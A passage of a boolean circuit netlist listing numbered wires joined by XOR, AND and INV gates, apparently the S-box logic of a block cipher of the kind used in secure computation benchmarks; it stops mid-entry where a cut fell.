XOR +1 1 26654 26650 INV +2 1 26650 26651 26761 XOR +2 1 36063 36067 9396 XOR +2 1 9404 9396 9336 XOR +2 1 9405 9396 9376 XOR +2 1 36064 36068 9379 XOR +2 1 9379 36066 9186 XOR +2 1 9473 9405 35983 XOR +2 1 9419 9405 9364 XOR +2 1 9442 9379 9344 XOR +2 1 36056 36068 9391 XOR +1 1 9379 9475 INV +2 1 36061 36065 9397 XOR +2 1 9434 9397 9365 XOR +2 1 36052 9365 35974 XOR +2 1 35974 1429 34256 XOR +2 1 33048 9336 35993 XOR +2 1 35993 1410 34275 XOR +2 1 36067 9185 9374 XOR +2 1 36066 36065 9148 XOR +2 1 9475 33164 9342 XOR +2 1 9391 36059 9377 XOR +2 1 9376 9377 35968 XOR +2 1 35968 1435 34250 XOR +2 1 9380 36068 9345 XOR +2 1 9419 36065 9352 XOR +2 1 9352 9353 35982 XOR +2 1 35982 1421 34264 XOR +2 1 9475 36053 9339 XOR +2 1 9397 33041 9188 XOR +2 1 9394 36067 9351 XOR +2 1 9391 36052 9147 XOR +2 1 9147 9148 9467 XOR +2 1 9467 9399 35967 XOR +2 1 35967 1436 34249 XOR +1 1 9364 9362 INV +2 1 35983 1420 34265 XOR +2 1 34265 34264 9774 XOR +2 1 9186 9187 9451 XOR +2 1 9451 9445 35992 XOR +2 1 35992 1411 34274 XOR +2 1 9444 9379 9355 XOR +2 1 36056 9355 35979 XOR +2 1 35979 1424 34261 XOR +2 1 34261 34256 27737 XOR +2 1 9350 9351 35984 XOR +2 1 35984 1419 34266 XOR +2 1 34264 34266 9894 XOR +2 1 9399 9397 9338 XOR +2 1 9338 9339 9337 XOR +1 1 9337 35991 INV +2 1 35991 1412 34273 XOR +2 1 9391 33042 9145 XOR +2 1 9345 9346 35987 XOR +2 1 35987 1416 34269 XOR +2 1 34266 34269 9892 XOR +2 1 34269 34264 9891 XOR +1 1 26764 33089 INV +2 1 33089 33132 9146 XOR +2 1 9145 9146 9468 XOR +2 1 33157 33089 9429 XOR +2 1 9343 9429 9341 XOR +2 1 9341 9342 35989 XOR +2 1 9429 9380 9369 XOR +2 1 33042 9369 35972 XOR +2 1 35972 1431 34254 XOR +2 1 35989 1414 34271 XOR +2 1 34271 34273 26243 XOR +2 1 9429 9391 9190 XOR +2 1 33125 9190 35964 XOR +2 1 35964 1439 34246 XOR +2 1 33089 9354 35980 XOR +2 1 35980 1423 34262 XOR +1 1 26761 33094 INV +2 1 9375 33094 9373 XOR +2 1 9444 33094 9334 XOR +2 1 9334 9335 35994 XOR +2 1 33048 33094 9414 XOR +2 1 9414 36063 9348 XOR +2 1 35994 1409 34276 XOR +2 1 34274 34276 26246 XOR +2 1 26246 34275 26205 XOR +2 1 9373 9374 35969 XOR +2 1 35969 1434 34251 XOR +2 1 9445 9414 9361 XOR +2 1 33162 9361 35977 XOR +2 1 35977 1426 34259 XOR +2 1 34259 34261 27644 XOR +2 1 9348 9349 35985 XOR +2 1 35985 1418 34267 XOR +2 1 34267 34269 9798 XOR +2 1 9798 9894 9879 XOR +2 1 9894 9879 9870 AND +1 1 26762 33095 INV +2 1 33163 33095 9402 XOR +2 1 9414 9402 9372 XOR +2 1 33131 9372 35970 XOR +2 1 9475 33095 9370 XOR +2 1 9402 9380 9333 XOR +2 1 36064 9333 35995 XOR +2 1 35995 1408 34277 XOR +2 1 34275 34277 26244 XOR +2 1 34274 34277 26338 XOR +2 1 26243 26338 26330 XOR +2 1 26246 26244 26206 XOR +2 1 26243 26206 26328 XOR +2 1 34277 34271 26339 XOR +2 1 35970 1433 34252 XOR +2 1 34250 34252 29046 XOR +2 1 34246 34252 29050 XOR +2 1 34251 29050 29136 XOR +2 1 29046 34251 29005 XOR +2 1 34246 29005 29135 XOR +2 1 29135 34246 29121 AND +2 1 9370 9371 35971 XOR +2 1 35971 1432 34253 XOR +2 1 34251 34253 29044 XOR +2 1 34250 34253 29138 XOR +2 1 29044 29050 29133 XOR +2 1 29046 29044 29006 XOR +2 1 9402 33130 9357 XOR +2 1 9357 9358 9356 XOR +1 1 9356 35978 INV +2 1 35978 1425 34260 XOR +2 1 34254 34260 27650 XOR +2 1 27644 27650 27733 XOR +2 1 34259 27650 27736 XOR +2 1 33095 9347 35986 XOR +2 1 35986 1417 34268 XOR +2 1 34262 34268 9804 XOR +2 1 9798 9804 9887 XOR +2 1 34267 9804 9890 XOR +2 1 34266 34268 9800 XOR +2 1 9800 34267 9759 XOR +2 1 34262 9759 9889 XOR +2 1 9889 34262 9875 AND +2 1 9800 9798 9760 XOR +1 1 26763 33096 INV +2 1 33096 36057 9189 XOR +2 1 9188 9189 35966 XOR +2 1 35966 1437 34248 XOR +2 1 34248 34250 29140 XOR +2 1 29044 29140 29125 XOR +2 1 34249 34248 29020 XOR +2 1 34253 34248 29137 XOR +2 1 29140 29125 29116 AND +2 1 9394 33096 9131 XOR +2 1 9131 9132 9474 XOR +2 1 9474 9434 35981 XOR +2 1 35981 1422 34263 XOR +2 1 34263 34265 9797 XOR +2 1 9797 9892 9884 XOR +2 1 34263 34264 9814 XOR +2 1 9892 9814 9888 XOR +2 1 34262 9884 9883 XOR +2 1 9797 9760 9882 XOR +2 1 34263 9890 9886 XOR +2 1 34264 9797 9799 XOR +2 1 9804 9799 9880 XOR +2 1 9887 9880 9872 AND +2 1 34268 9799 9881 XOR +2 1 9892 9881 9871 AND +2 1 9870 9871 9773 XOR +2 1 9773 9774 9820 XOR +2 1 9871 9799 9801 XOR +2 1 9890 9886 9873 AND +2 1 34267 9799 9878 XOR +2 1 33164 33096 9409 XOR +2 1 9419 9409 9340 XOR +2 1 9442 9409 9367 XOR +2 1 9468 9409 35965 XOR +2 1 35965 1438 34247 XOR +2 1 34247 34249 29043 XOR +2 1 34248 29043 29045 XOR +2 1 34252 29045 29127 XOR +2 1 34251 29045 29124 XOR +2 1 29050 29045 29126 XOR +2 1 34247 29136 29132 XOR +2 1 29043 29138 29130 XOR +2 1 34246 29130 29129 XOR +2 1 34247 34248 29060 XOR +2 1 29060 29133 29131 XOR +2 1 29138 29060 29134 XOR +2 1 29043 29006 29128 XOR +2 1 34253 34247 29139 XOR +2 1 29130 29134 29123 AND +2 1 29123 29046 29049 XOR +2 1 29131 29129 29122 AND +2 1 29116 29122 29067 XOR +2 1 29139 29124 29120 AND +2 1 29120 29044 29048 XOR +2 1 29136 29132 29119 AND +2 1 29133 29126 29118 AND +2 1 29138 29127 29117 AND +2 1 29117 29045 29047 XOR +2 1 29049 29047 29053 XOR +2 1 34253 29053 29058 XOR +2 1 29067 29058 29114 XOR +2 1 29116 29117 29019 XOR +2 1 29019 29020 29066 XOR +2 1 29066 29048 29065 XOR +2 1 29119 29065 29113 XOR +2 1 29137 29128 29115 AND +2 1 29115 29118 29068 XOR +2 1 29115 29121 29072 XOR +2 1 29072 29044 29059 XOR +2 1 29067 29059 29111 XOR +2 1 29116 29068 29062 XOR +2 1 29048 29068 29022 XOR +2 1 29022 29047 29112 XOR +2 1 29053 29072 29021 XOR +2 1 34251 29021 29064 XOR +2 1 29119 29062 29018 XOR +2 1 34247 29018 29106 XOR +2 1 29114 29113 29110 AND +2 1 29110 29064 29105 XOR +2 1 29110 29112 29109 XOR +2 1 29111 29109 29108 AND +2 1 29108 29064 29107 XOR +2 1 29108 29120 29013 XOR +2 1 29013 29049 29009 XOR +2 1 34253 29009 29012 XOR +2 1 29108 29058 29010 XOR +2 1 34251 29009 29008 XOR +2 1 29105 29106 29104 AND +2 1 29104 29112 29103 XOR +2 1 29110 29104 29102 XOR +2 1 29104 29062 29017 XOR +2 1 29104 29121 29016 XOR +2 1 29016 29118 29011 XOR +2 1 29011 29012 29095 XOR +2 1 29112 29102 29101 AND +2 1 29101 29109 29099 XOR +2 1 29101 29119 29071 XOR +2 1 29071 29065 29093 XOR +2 1 34247 29071 29054 XOR +2 1 29054 29017 29100 XOR +2 1 29107 29099 29098 AND +2 1 29098 29067 29057 XOR +2 1 29057 29059 29097 XOR +2 1 29098 29122 29015 XOR +2 1 29054 29015 29007 XOR +2 1 29044 29007 29014 XOR +2 1 29011 29014 29096 XOR +2 1 29057 29010 29094 XOR +2 1 29007 29008 29092 XOR +2 1 29093 29130 29091 AND +2 1 29100 29129 29090 AND +2 1 29103 34246 29089 AND +2 1 29089 29091 29070 XOR +2 1 29094 29124 29088 AND +2 1 29097 29136 29087 AND +2 1 29087 29088 29073 XOR +2 1 29107 29126 29086 AND +2 1 29086 29087 29024 XOR +2 1 29095 29127 29085 AND +2 1 29092 29125 29084 AND +2 1 29084 29073 29063 XOR +2 1 29084 29087 29039 XOR +1 1 29039 29036 INV +2 1 29084 29085 29035 XOR +2 1 29085 29063 29023 XOR +2 1 29096 29128 29083 AND +2 1 29093 29134 29082 AND +2 1 29100 29131 29081 AND +2 1 29103 29135 29080 AND +2 1 29080 29063 29029 XOR +1 1 29029 29026 INV +2 1 29094 29139 29079 AND +2 1 29079 29083 29055 XOR +2 1 29088 29079 29040 XOR +1 1 29055 29033 INV +2 1 29097 29132 29078 AND +2 1 29086 29078 29042 XOR +2 1 29107 29133 29077 AND +2 1 29033 29077 29032 XOR +2 1 29032 29070 29028 XOR +2 1 29095 29138 29076 AND +2 1 29076 29028 29031 XOR +2 1 29092 29140 29075 AND +2 1 29075 29076 29069 XOR +2 1 29081 29069 29051 XOR +2 1 29082 29051 29052 XOR +2 1 29090 29052 29056 XOR +2 1 29091 29056 29061 XOR +2 1 29073 29061 36236 XOR +2 1 29042 29069 29038 XOR +2 1 29070 29038 29041 XOR +2 1 29040 29041 29144 XOR +2 1 29033 29038 29037 XOR +2 1 29036 29037 29143 XOR +2 1 29061 29035 29142 XOR +2 1 29051 29028 29027 XOR +2 1 29026 29027 36234 XOR +2 1 29089 29056 29025 XOR +2 1 29024 29025 36235 XOR +2 1 29052 29023 36237 XOR +2 1 29096 29137 29074 AND +2 1 29085 29074 29034 XOR +1 1 29034 29030 INV +2 1 29030 29031 29141 XOR +2 1 36061 9340 35990 XOR +2 1 35990 1413 34272 XOR +2 1 34272 26243 26245 XOR +2 1 34276 26245 26327 XOR +2 1 34275 26245 26324 XOR +2 1 34271 34272 26260 XOR +2 1 26338 26260 26334 XOR +2 1 34272 34274 26340 XOR +2 1 26244 26340 26325 XOR +2 1 34273 34272 26220 XOR +2 1 34277 34272 26337 XOR +2 1 26330 26334 26323 AND +2 1 26323 26246 26249 XOR +2 1 26339 26324 26320 AND +2 1 26320 26244 26248 XOR +2 1 26338 26327 26317 AND +2 1 26317 26245 26247 XOR +2 1 26249 26247 26253 XOR +2 1 34277 26253 26258 XOR +2 1 26340 26325 26316 AND +2 1 26316 26317 26219 XOR +2 1 26219 26220 26266 XOR +2 1 26266 26248 26265 XOR +2 1 26337 26328 26315 AND +2 1 34269 34263 9893 XOR +2 1 9893 9878 9874 AND +2 1 9874 9798 9802 XOR +2 1 9814 9887 9885 XOR +2 1 9885 9883 9876 AND +1 1 29142 33141 INV +1 1 29143 33142 INV +1 1 29144 33143 INV +1 1 29141 33148 INV +2 1 9870 9876 9821 XOR +2 1 9884 9888 9877 AND +2 1 9877 9800 9803 XOR +2 1 9803 9801 9807 XOR +2 1 34269 9807 9812 XOR +2 1 9821 9812 9868 XOR +2 1 9820 9802 9819 XOR +2 1 9873 9819 9867 XOR +2 1 9868 9867 9864 AND +2 1 9891 9882 9869 AND +2 1 9869 9872 9822 XOR +2 1 9870 9822 9816 XOR +2 1 9802 9822 9776 XOR +2 1 9776 9801 9866 XOR +2 1 9869 9875 9826 XOR +2 1 9826 9798 9813 XOR +2 1 9821 9813 9865 XOR +2 1 9873 9816 9772 XOR +2 1 34263 9772 9860 XOR +2 1 9807 9826 9775 XOR +2 1 34267 9775 9818 XOR +2 1 9864 9818 9859 XOR +2 1 9859 9860 9858 AND +2 1 9858 9875 9770 XOR +2 1 9770 9872 9765 XOR +2 1 9858 9816 9771 XOR +2 1 9858 9866 9857 XOR +2 1 9857 9889 9834 AND +2 1 9857 34262 9843 AND +2 1 9864 9858 9856 XOR +2 1 9866 9856 9855 AND +2 1 9864 9866 9863 XOR +2 1 9865 9863 9862 AND +2 1 9855 9863 9853 XOR +2 1 9862 9812 9764 XOR +2 1 9862 9874 9767 XOR +2 1 9862 9818 9861 XOR +2 1 9861 9853 9852 AND +2 1 9852 9876 9769 XOR +2 1 9861 9880 9840 AND +2 1 9852 9821 9811 XOR +2 1 9811 9764 9848 XOR +2 1 9811 9813 9851 XOR +2 1 9848 9893 9833 AND +2 1 9851 9886 9832 AND +2 1 9840 9832 9796 XOR +2 1 9851 9890 9841 AND +2 1 9840 9841 9778 XOR +2 1 9848 9878 9842 AND +2 1 9842 9833 9794 XOR +2 1 9841 9842 9827 XOR +2 1 9767 9803 9763 XOR +2 1 34267 9763 9762 XOR +2 1 9855 9873 9825 XOR +2 1 34263 9825 9808 XOR +2 1 9808 9769 9761 XOR +2 1 9798 9761 9768 XOR +2 1 9765 9768 9850 XOR +2 1 9850 9891 9828 AND +2 1 9850 9882 9837 AND +2 1 9833 9837 9809 XOR +1 1 9809 9787 INV +2 1 9808 9771 9854 XOR +2 1 9854 9883 9844 AND +2 1 9761 9762 9846 XOR +2 1 9846 9894 9829 AND +2 1 9854 9885 9835 AND +2 1 9825 9819 9847 XOR +2 1 9847 9888 9836 AND +2 1 9847 9884 9845 AND +2 1 9843 9845 9824 XOR +2 1 34269 9763 9766 XOR +2 1 9765 9766 9849 XOR +2 1 9849 9881 9839 AND +2 1 9849 9892 9830 AND +2 1 9829 9830 9823 XOR +2 1 9796 9823 9792 XOR +2 1 9824 9792 9795 XOR +2 1 9835 9823 9805 XOR +2 1 9836 9805 9806 XOR +2 1 9844 9806 9810 XOR +2 1 9843 9810 9779 XOR +2 1 9845 9810 9815 XOR +2 1 9827 9815 36210 XOR +2 1 36210 36214 10207 XOR +2 1 9778 9779 36209 XOR +2 1 36209 36213 10210 XOR +2 1 9787 9792 9791 XOR +2 1 9794 9795 9898 XOR +2 1 9839 9828 9788 XOR +1 1 9788 9784 INV +1 1 9898 32827 INV +2 1 9861 9887 9831 AND +2 1 9787 9831 9786 XOR +2 1 9786 9824 9782 XOR +2 1 9805 9782 9781 XOR +2 1 9830 9782 9785 XOR +2 1 9784 9785 9895 XOR +1 1 9895 32825 INV +2 1 32825 33090 10203 XOR +2 1 33157 9344 35988 XOR +2 1 35988 1415 34270 XOR +2 1 34270 26330 26329 XOR +2 1 34270 34276 26250 XOR +2 1 26250 26245 26326 XOR +2 1 26244 26250 26333 XOR +2 1 26260 26333 26331 XOR +2 1 34275 26250 26336 XOR +2 1 34271 26336 26332 XOR +2 1 34270 26205 26335 XOR +2 1 26331 26329 26322 AND +2 1 26316 26322 26267 XOR +2 1 26267 26258 26314 XOR +2 1 26335 34270 26321 AND +2 1 26315 26321 26272 XOR +2 1 26272 26244 26259 XOR +2 1 26267 26259 26311 XOR +2 1 26253 26272 26221 XOR +2 1 34275 26221 26264 XOR +2 1 26336 26332 26319 AND +2 1 26319 26265 26313 XOR +2 1 26333 26326 26318 AND +2 1 26315 26318 26268 XOR +2 1 26316 26268 26262 XOR +2 1 26248 26268 26222 XOR +2 1 26222 26247 26312 XOR +2 1 26319 26262 26218 XOR +2 1 34271 26218 26306 XOR +2 1 26314 26313 26310 AND +2 1 26310 26264 26305 XOR +2 1 26310 26312 26309 XOR +2 1 26311 26309 26308 AND +2 1 26308 26264 26307 XOR +2 1 26308 26320 26213 XOR +2 1 26213 26249 26209 XOR +2 1 34277 26209 26212 XOR +2 1 26308 26258 26210 XOR +2 1 34275 26209 26208 XOR +2 1 26305 26306 26304 AND +2 1 26304 26312 26303 XOR +2 1 26310 26304 26302 XOR +2 1 26304 26262 26217 XOR +2 1 26304 26321 26216 XOR +2 1 26216 26318 26211 XOR +2 1 26211 26212 26295 XOR +2 1 26312 26302 26301 AND +2 1 26301 26309 26299 XOR +2 1 26301 26319 26271 XOR +2 1 26271 26265 26293 XOR +2 1 34271 26271 26254 XOR +2 1 26254 26217 26300 XOR +2 1 26307 26299 26298 AND +2 1 26298 26267 26257 XOR +2 1 26257 26259 26297 XOR +2 1 26298 26322 26215 XOR +2 1 26254 26215 26207 XOR +2 1 26244 26207 26214 XOR +2 1 26211 26214 26296 XOR +2 1 26257 26210 26294 XOR +2 1 26207 26208 26292 XOR +2 1 26293 26330 26291 AND +2 1 26300 26329 26290 AND +2 1 26303 34270 26289 AND +2 1 26289 26291 26270 XOR +2 1 26294 26324 26288 AND +2 1 26297 26336 26287 AND +2 1 26287 26288 26273 XOR +2 1 26307 26326 26286 AND +2 1 26286 26287 26224 XOR +2 1 26295 26327 26285 AND +2 1 26292 26325 26284 AND +2 1 26284 26273 26263 XOR +2 1 26284 26287 26239 XOR +1 1 26239 26236 INV +2 1 26284 26285 26235 XOR +2 1 26285 26263 26223 XOR +2 1 26296 26328 26283 AND +2 1 26293 26334 26282 AND +2 1 26300 26331 26281 AND +2 1 26303 26335 26280 AND +2 1 26280 26263 26229 XOR +1 1 26229 26226 INV +2 1 26294 26339 26279 AND +2 1 26279 26283 26255 XOR +2 1 26288 26279 26240 XOR +1 1 26255 26233 INV +2 1 26297 26332 26278 AND +2 1 26286 26278 26242 XOR +2 1 26307 26333 26277 AND +2 1 26233 26277 26232 XOR +2 1 26232 26270 26228 XOR +2 1 26295 26338 26276 AND +2 1 26276 26228 26231 XOR +2 1 26292 26340 26275 AND +2 1 26275 26276 26269 XOR +2 1 26281 26269 26251 XOR +2 1 26282 26251 26252 XOR +2 1 26290 26252 26256 XOR +2 1 26291 26256 26261 XOR +2 1 26273 26261 36268 XOR +2 1 26242 26269 26238 XOR +2 1 26270 26238 26241 XOR +2 1 26240 26241 26344 XOR +2 1 26233 26238 26237 XOR +2 1 26236 26237 26343 XOR +2 1 26261 26235 26342 XOR +2 1 26251 26228 26227 XOR +2 1 26226 26227 36266 XOR +2 1 26289 26256 26225 XOR +2 1 26224 26225 36267 XOR +2 1 26252 26223 36269 XOR +2 1 26296 26337 26274 AND +2 1 26285 26274 26234 XOR +1 1 26234 26230 INV +2 1 26230 26231 26341 XOR +2 1 36267 36266 9916 XOR +2 1 36254 36267 10175 XOR +2 1 36257 36269 10161 XOR +2 1 10161 36253 9915 XOR +2 1 10161 33155 9913 XOR +2 1 36268 9953 10144 XOR +2 1 9915 9916 10237 XOR +1 1 26341 33081 INV +2 1 33153 33081 10184 XOR +1 1 26342 33082 INV +1 1 26343 33083 INV +1 1 26344 33084 INV +2 1 9846 9879 9838 AND +2 1 9838 9841 9793 XOR +1 1 9793 9790 INV +2 1 9838 9839 9789 XOR +2 1 9815 9789 9896 XOR +2 1 9838 9827 9817 XOR +2 1 9839 9817 9777 XOR +2 1 9834 9817 9783 XOR +1 1 9783 9780 INV +2 1 9780 9781 36208 XOR +1 1 36208 9950 INV +2 1 36209 9950 9949 XOR +2 1 9806 9777 36211 XOR +2 1 36211 36216 10155 XOR +1 1 10155 10248 INV +2 1 10248 36212 9948 XOR +2 1 9948 9949 10223 XOR +2 1 10248 36210 10074 XOR +2 1 10155 33092 9946 XOR +1 1 9896 32826 INV +2 1 32826 36215 10200 XOR +2 1 9790 9791 9897 XOR +1 1 9897 36207 INV +2 1 33091 9897 10077 XOR +2 1 34122 34124 23869 XOR +2 1 23946 23869 23872 XOR +2 1 23869 23867 23829 XOR +2 1 23866 23829 23951 XOR +2 1 23869 34123 23828 XOR +2 1 34118 23828 23958 XOR +2 1 23958 34118 23944 AND +2 1 23960 23951 23938 AND +2 1 23938 23944 23895 XOR +2 1 23895 23867 23882 XOR +2 1 23890 23882 23934 XOR +2 1 23938 23941 23891 XOR +2 1 23871 23891 23845 XOR +2 1 23845 23870 23935 XOR +2 1 23939 23891 23885 XOR +2 1 23942 23885 23841 XOR +2 1 34119 23841 23929 XOR +2 1 23872 23870 23876 XOR +2 1 23876 23895 23844 XOR +2 1 34123 23844 23887 XOR +2 1 34125 23876 23881 XOR +2 1 23890 23881 23937 XOR +2 1 23937 23936 23933 AND +2 1 23933 23935 23932 XOR +2 1 23934 23932 23931 AND +2 1 23931 23943 23836 XOR +2 1 23836 23872 23832 XOR +2 1 34123 23832 23831 XOR +2 1 34125 23832 23835 XOR +2 1 23931 23881 23833 XOR +2 1 23933 23887 23928 XOR +2 1 23928 23929 23927 AND +2 1 23933 23927 23925 XOR +2 1 23927 23885 23840 XOR +2 1 23927 23944 23839 XOR +2 1 23839 23941 23834 XOR +2 1 23834 23835 23918 XOR +2 1 23918 23950 23908 AND +2 1 23918 23961 23899 AND +2 1 23935 23925 23924 AND +2 1 23927 23935 23926 XOR +2 1 23926 34118 23912 AND +2 1 23926 23958 23903 AND +2 1 23924 23942 23894 XOR +2 1 34119 23894 23877 XOR +2 1 23877 23840 23923 XOR +2 1 23923 23952 23913 AND +2 1 23923 23954 23904 AND +2 1 23894 23888 23916 XOR +2 1 23916 23953 23914 AND +2 1 23912 23914 23893 XOR +2 1 23916 23957 23905 AND +2 1 23924 23932 23922 XOR +2 1 23931 23887 23930 XOR +2 1 23930 23922 23921 AND +2 1 23921 23890 23880 XOR +2 1 23921 23945 23838 XOR +2 1 23877 23838 23830 XOR +2 1 23830 23831 23915 XOR +2 1 23915 23948 23907 AND +2 1 23907 23908 23858 XOR +2 1 23915 23963 23898 AND +2 1 23867 23830 23837 XOR +2 1 23834 23837 23919 XOR +2 1 23919 23951 23906 AND +2 1 23880 23833 23917 XOR +2 1 23917 23947 23911 AND +2 1 23930 23949 23909 AND +2 1 23917 23962 23902 AND +2 1 23902 23906 23878 XOR +1 1 23878 23856 INV +2 1 23911 23902 23863 XOR +2 1 23930 23956 23900 AND +2 1 23856 23900 23855 XOR +2 1 23855 23893 23851 XOR +2 1 23899 23851 23854 XOR +2 1 23919 23960 23897 AND +2 1 23908 23897 23857 XOR +1 1 23857 23853 INV +2 1 23853 23854 23964 XOR +2 1 23898 23899 23892 XOR +2 1 23904 23892 23874 XOR +2 1 23874 23851 23850 XOR +2 1 23905 23874 23875 XOR +2 1 23913 23875 23879 XOR +2 1 23912 23879 23848 XOR +2 1 23914 23879 23884 XOR +2 1 23884 23858 23965 XOR +2 1 23880 23882 23920 XOR +2 1 23920 23959 23910 AND +2 1 23909 23910 23847 XOR +2 1 23847 23848 36034 XOR +2 1 23910 23911 23896 XOR +2 1 23896 23884 36035 XOR +2 1 28581 36035 9240 XOR +2 1 23907 23896 23886 XOR +2 1 23908 23886 23846 XOR +2 1 23875 23846 36036 XOR +2 1 36036 36051 9389 XOR +2 1 9443 9389 9245 XOR +2 1 23907 23910 23862 XOR +1 1 23862 23859 INV +2 1 23903 23886 23852 XOR +1 1 23852 23849 INV +2 1 23849 23850 36033 XOR +2 1 36033 36038 9439 XOR +2 1 23920 23955 23901 AND +2 1 23909 23901 23865 XOR +2 1 23865 23892 23861 XOR +2 1 23856 23861 23860 XOR +2 1 23893 23861 23864 XOR +2 1 23863 23864 23967 XOR +2 1 23859 23860 23966 XOR +2 1 36034 36039 9432 XOR +1 1 9432 9199 INV +2 1 9199 9412 9222 XOR +2 1 9459 9432 35951 XOR +2 1 9239 9240 35937 XOR +2 1 9439 9435 9200 XOR +2 1 35937 1466 34219 XOR +2 1 33129 9245 35932 XOR +2 1 35932 1471 34214 XOR +1 1 9389 9158 INV +2 1 9158 33093 9156 XOR +2 1 9158 36048 9159 XOR +2 1 9161 36033 9160 XOR +2 1 9159 9160 9462 XOR +2 1 9462 9421 35935 XOR +2 1 35935 1468 34217 XOR +1 1 9439 9215 INV +2 1 9215 9421 9224 XOR +2 1 9215 36048 9213 XOR +2 1 9213 9214 35950 XOR +2 1 35950 1453 34232 XOR +2 1 36035 36040 9424 XOR +2 1 9458 9424 35952 XOR +2 1 9424 9406 9221 XOR +2 1 35952 1451 34234 XOR +2 1 34232 34234 29280 XOR +1 1 9424 9196 INV +2 1 9389 36049 9162 XOR +2 1 9196 9421 9194 XOR +2 1 9194 9195 35960 XOR +2 1 35951 1452 34233 XOR +2 1 34233 34232 29160 XOR +2 1 36044 9200 35958 XOR +2 1 35958 1445 34240 XOR +2 1 9199 9431 9197 XOR +2 1 9197 9198 35959 XOR +2 1 35959 1444 34241 XOR +2 1 34241 34240 9634 XOR +2 1 36040 36034 9163 XOR +2 1 9162 9163 9461 XOR +2 1 9461 9412 35936 XOR +2 1 35936 1467 34218 XOR +1 1 23966 33037 INV +2 1 9168 33037 9243 XOR +2 1 9242 9243 35934 XOR +2 1 35934 1469 34216 XOR +2 1 34217 34216 9494 XOR +2 1 34216 34218 9614 XOR +2 1 33037 36037 9446 XOR +2 1 9446 9431 9226 XOR +2 1 9446 9443 9204 XOR +2 1 36033 9226 35942 XOR +2 1 35942 1461 34224 XOR +2 1 9460 9446 35949 XOR +2 1 35949 1454 34231 XOR +2 1 34231 34233 29183 XOR +2 1 34232 29183 29185 XOR +2 1 34231 34232 29200 XOR +1 1 9204 9202 INV +2 1 9202 9203 35957 XOR +2 1 35957 1446 34239 XOR +2 1 34239 34240 9674 XOR +2 1 34239 34241 9657 XOR +2 1 34240 9657 9659 XOR +1 1 23967 33038 INV +2 1 28583 33038 9157 XOR +2 1 9156 9157 9463 XOR +2 1 9463 9435 35933 XOR +2 1 35933 1470 34215 XOR +2 1 34215 34216 9534 XOR +2 1 34215 34217 9517 XOR +2 1 34216 9517 9519 XOR +2 1 34219 9519 9598 XOR +2 1 33038 33129 9447 XOR +2 1 9447 9388 9216 XOR +2 1 9447 9381 9205 XOR +2 1 33165 9205 35956 XOR +2 1 9447 9435 9228 XOR +2 1 33093 9216 35948 XOR +2 1 35948 1455 34230 XOR +2 1 35956 1447 34238 XOR +1 1 23964 33043 INV +2 1 33043 36041 9417 XOR +2 1 9417 33098 9211 XOR +2 1 9211 9212 35953 XOR +2 1 28582 33043 9235 XOR +2 1 33043 9221 35945 XOR +2 1 9417 9395 9220 XOR +2 1 35953 1450 34235 XOR +2 1 34235 29185 29264 XOR +2 1 9234 9235 9233 XOR +1 1 9233 35938 INV +2 1 35938 1465 34220 XOR +2 1 34218 34220 9520 XOR +2 1 9520 34219 9479 XOR +2 1 34214 34220 9524 XOR +2 1 9524 9519 9600 XOR +2 1 34219 9524 9610 XOR +2 1 34215 9610 9606 XOR +2 1 9610 9606 9593 AND +2 1 34214 9479 9609 XOR +2 1 9609 34214 9595 AND +2 1 9417 9412 9193 XOR +2 1 34220 9519 9601 XOR +1 1 23965 33044 INV +2 1 36043 33044 9232 XOR +2 1 33044 36042 9410 XOR +2 1 9410 33099 9210 XOR +2 1 9410 9406 9192 XOR +2 1 33171 9192 35962 XOR +1 1 9210 9208 INV +2 1 9410 9381 9219 XOR +2 1 36036 9219 35947 XOR +2 1 35947 1456 34229 XOR +2 1 34229 34224 27877 XOR +2 1 9208 9209 35954 XOR +2 1 35954 1449 34236 XOR +2 1 34236 29185 29267 XOR +2 1 34234 34236 29186 XOR +2 1 34230 34236 29190 XOR +2 1 29190 29185 29266 XOR +2 1 34235 29190 29276 XOR +2 1 34231 29276 29272 XOR +2 1 29186 34235 29145 XOR +2 1 34230 29145 29275 XOR +2 1 29275 34230 29261 AND +2 1 29276 29272 29259 AND +2 1 35962 1441 34244 XOR +2 1 34244 9659 9741 XOR +2 1 9231 9232 35939 XOR +2 1 35939 1464 34221 XOR +2 1 34221 34215 9613 XOR +2 1 34218 34221 9612 XOR +2 1 9612 9534 9608 XOR +2 1 9517 9612 9604 XOR +2 1 34214 9604 9603 XOR +2 1 34219 34221 9518 XOR +2 1 9520 9518 9480 XOR +2 1 9517 9480 9602 XOR +2 1 9518 9524 9607 XOR +2 1 9518 9614 9599 XOR +2 1 9614 9599 9590 AND +2 1 34221 34216 9611 XOR +2 1 9611 9602 9589 AND +2 1 9589 9595 9546 XOR +2 1 9546 9518 9533 XOR +2 1 9604 9608 9597 AND +2 1 9607 9600 9592 AND +2 1 9597 9520 9523 XOR +2 1 9612 9601 9591 AND +2 1 9591 9519 9521 XOR +2 1 9523 9521 9527 XOR +2 1 9527 9546 9495 XOR +2 1 34219 9495 9538 XOR +2 1 9590 9591 9493 XOR +2 1 9493 9494 9540 XOR +2 1 34221 9527 9532 XOR +2 1 9613 9598 9594 AND +2 1 9594 9518 9522 XOR +2 1 9540 9522 9539 XOR +2 1 9593 9539 9587 XOR +2 1 9589 9592 9542 XOR +2 1 9522 9542 9496 XOR +2 1 9496 9521 9586 XOR +2 1 9590 9542 9536 XOR +2 1 9593 9536 9492 XOR +2 1 34215 9492 9580 XOR +2 1 9534 9607 9605 XOR +2 1 9605 9603 9596 AND +2 1 9590 9596 9541 XOR +2 1 9541 9533 9585 XOR +2 1 9541 9532 9588 XOR +2 1 9588 9587 9584 AND +2 1 9584 9538 9579 XOR +2 1 9584 9586 9583 XOR +2 1 9585 9583 9582 AND +2 1 9582 9594 9487 XOR +2 1 9487 9523 9483 XOR +2 1 34221 9483 9486 XOR +2 1 9582 9532 9484 XOR +2 1 34219 9483 9482 XOR +2 1 9582 9538 9581 XOR +2 1 9581 9607 9551 AND +2 1 9581 9600 9560 AND +2 1 9579 9580 9578 AND +2 1 9578 9536 9491 XOR +2 1 9578 9595 9490 XOR +2 1 9490 9592 9485 XOR +2 1 9485 9486 9569 XOR +2 1 9584 9578 9576 XOR +2 1 9569 9601 9559 AND +2 1 9586 9576 9575 AND +2 1 9575 9593 9545 XOR +2 1 34215 9545 9528 XOR +2 1 9545 9539 9567 XOR +2 1 9567 9608 9556 AND +2 1 9567 9604 9565 AND +2 1 9575 9583 9573 XOR +2 1 9581 9573 9572 AND +2 1 9572 9541 9531 XOR +2 1 9531 9533 9571 XOR +2 1 9572 9596 9489 XOR +2 1 9528 9489 9481 XOR +2 1 9481 9482 9566 XOR +2 1 